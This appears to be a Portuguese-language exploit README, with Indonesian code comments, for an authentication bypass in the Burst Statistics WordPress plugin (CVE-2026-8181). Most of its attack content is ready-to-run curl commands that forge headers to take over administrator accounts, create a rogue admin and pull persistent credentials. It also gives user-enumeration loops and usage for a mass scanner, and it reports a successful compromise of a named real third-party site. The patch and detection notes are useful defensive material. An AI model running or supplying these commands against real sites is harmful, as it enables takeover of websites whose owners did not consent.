
CVE-2026-8181 - Burst Statistics 3.4.0-3.4.1.1 Bypass de Autenticação Não Autenticado para Tomada de Conta de Administrador | Prova de Conceito
| Item | Detalhe |
|---|
| CVE ID | CVE-2026-8181 |
| Plugin | Burst Statistics – Privacy-Friendly WordPress Analytics |
| Versão Afetada | 3.4.0 – 3.4.1.1 |
| Versão Corrigida | 3.4.2 |
| Pontuação CVSS | 9.8 (Crítica) |
| Tipo | CWE-287: Improper Authentication |
| Vetor de Ataque | Network / Remote / Unauthenticated |
| Instalações Ativas | ~200,000+ |
| Descoberto por | PRISM, Wordfence Threat Intelligence |
| Data de Publicação | 8 de maio de 2026 |
Uma vulnerabilidade crítica de Authentication Bypass no plugin WordPress Burst Statistics, versões 3.4.0 até 3.4.1.1, permite que um atacante sem autenticação obtenha acesso total de administrador no WordPress apenas conhecendo o nome de usuário do admin. A consequência é a tomada completa da conta de administrador, incluindo criação de novas contas, modificação de conteúdo e até instalação de plugins maliciosos.
A vulnerabilidade está no método is_mainwp_authenticated() no arquivo includes/Frontend/class-mainwp-proxy.php:
// KODE VULNERABLE (v3.4.1.1)
public function is_mainwp_authenticated(): bool {
$auth_header = sanitize_text_field(
wp_unslash($_SERVER['HTTP_AUTHORIZATION'] ?? '')
);
if (!empty($auth_header) && stripos($auth_header, 'basic ') === 0) {
$credentials = base64_decode(substr($auth_header, 6), true);
// ... parse username:password ...
$is_valid = wp_authenticate_application_password(null, $username, $password);
if (is_wp_error($is_valid)) { // ← BUG: null BUKAN WP_Error!
return false;
}
$user = get_user_by('login', $username); // ← Auth hanya berdasarkan username!
if (!$user || !user_can($user, 'manage_burst_statistics')) {
return false;
}
wp_set_current_user($user->ID); // ← Grant admin privileges
return true;
}
return false;
}
Bug principal: wp_authenticate_application_password(null, $username, $password) retorna null (não WP_Error) quando as Application Passwords não estão disponíveis, o que ocorre em:
wp_is_application_passwords_available() retorna falseis_ssl() retorna falseComo is_wp_error(null) = false, o código continua para get_user_by('login', $username), que autentica apenas com base no nome de usuário, sem nenhuma validação de senha.
O método has_admin_access() é chamado no hook plugins_loaded (prioridade 9) em class-burst.php, linha 118:
if ($this->has_admin_access()) {
$this->admin = new Admin();
$this->admin->init();
}
Este hook é executado ANTES do processamento de rotas da REST API, então wp_set_current_user() concede privilégios de admin para TODA a requisição — não apenas para os endpoints do Burst.
Attacker ──HTTP Request──▶ WordPress
Headers:
X-BURSTMAINWP: 1
Authorization: Basic base64(admin:anything)
│
▼
[plugins_loaded hook fires]
│
Burst::bootstrap() → has_admin_access()
│
HTTP_X_BURSTMAINWP == '1' → is_mainwp_authenticated()
│
wp_authenticate_application_password(null, 'admin', 'anything')
│
Situs HTTP → wp_is_application_passwords_available() = false
│
Return null (BUKAN WP_Error)
│
is_wp_error(null) = false ← BYPASS!
│
get_user_by('login', 'admin') → found
│
wp_set_current_user(admin_id) → FULL ADMIN
│
has_admin_access() = true
│
[REST API memproses request dengan konteks admin]
│
Attacker mengakses SELURUH endpoint WordPress sebagai administrator
pip3 install requests
# Scan dasar
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin -k
# Buat akun admin baru
python3 exploit_CVE-2026-8181.py -u http://target.com -U admin --create-user -k
# Dengan username custom
python3 exploit_CVE-2026-8181.py -u http://target.com -U administrator -k
python3 poc_CVE-2026-8181.py
Modo interativo:
.txt, um domínio por linha)Formato do targets.txt:
target1.com
target2.com
192.168.1.100
subdomain.example.org
# Step 1: Verifikasi auth bypass
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:anything' | base64)" \
"http://target.com/?rest_route=/wp/v2/users/me&context=edit"
# Step 2: Buat akun administrator baru
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/wp/v2/users" \
-d '{"username":"hacker","password":"P@ssw0rd!","email":"[email protected]","roles":["administrator"]}'
# Step 3: Dapatkan Application Password (kredensial persisten)
curl -s \
-H "X-BURSTMAINWP: 1" \
-H "Authorization: Basic $(echo -n 'admin:bypass' | base64)" \
-H "Content-Type: application/json" \
-X POST \
"http://target.com/?rest_route=/burst/v1/mainwp-auth" \
-d '{}'
# Method 1: REST API
curl -s "http://target.com/wp-json/wp/v2/users" | jq '.[].slug'
# Method 2: Fallback route
curl -s "http://target.com/?rest_route=/wp/v2/users" | jq '.[].slug'
# Method 3: Author enumeration
for i in $(seq 1 5); do
curl -s -o /dev/null -w "%{redirect_url}\n" "http://target.com/?author=$i"
done
Os testes foram realizados no WordPress 6.9 com Burst Statistics 3.4.1.1 (localhost):
| Teste | Resultado | Evidência |
|---|---|---|
Acesso a /wp/v2/users/me sem autenticação | FALHOU | rest_not_logged_in |
| Acesso com headers de bypass | SUCESSO | Perfil do admin + e-mail + roles |
| Criar nova conta de administrador | SUCESSO | User ID 2, role: administrator |
| Ler configurações do WordPress | SUCESSO | Título do site, e-mail do admin, URL |
| Obter Application Password | SUCESSO | Token Base64 admin:password |
| Listar plugins instalados | SUCESSO | Lista completa com versões |
| Alvo | Resultado |
|---|---|
ausdermitte-binz.de | PWNED COM SUCESSO — Burst 3.4.1.1, bypass via binzwpadmin, conta xenon1337 criada (ID:30) |
A correção na versão 3.4.2 resolve vários problemas:
// PATCHED
$authenticated_user = wp_authenticate_application_password(null, $parts[0], $parts[1]);
if (!$authenticated_user instanceof \WP_User) { // ← Cek WP_User, bukan !WP_Error
return false;
}
$allow = static function(): bool { return true; };
add_filter('application_password_is_api_request', $allow, 999);
// ... authenticate ...
remove_filter('application_password_is_api_request', $allow, 999);
add_option()wp_application_passwords user meta)X-BURSTMAINWP: 1 provenientes de IPs externoswp_users em busca de novas contas de administradorwp_options em busca do transient burst_mainwp_app_token_*| Arquivo | Descrição |
|---|---|
exploit_CVE-2026-8181.py | PoC exploit de alvo único |
poc_CVE-2026-8181.py | Mass scanner multi-alvo com threading |
README.md | Esta documentação |
Esta ferramenta e documentação destinam-se apenas a testes de segurança legítimos com permissão explícita. O uso não autorizado de sistemas que não são seus, ou sem permissão por escrito, é ilegal. O autor não se responsabiliza pelo uso indevido.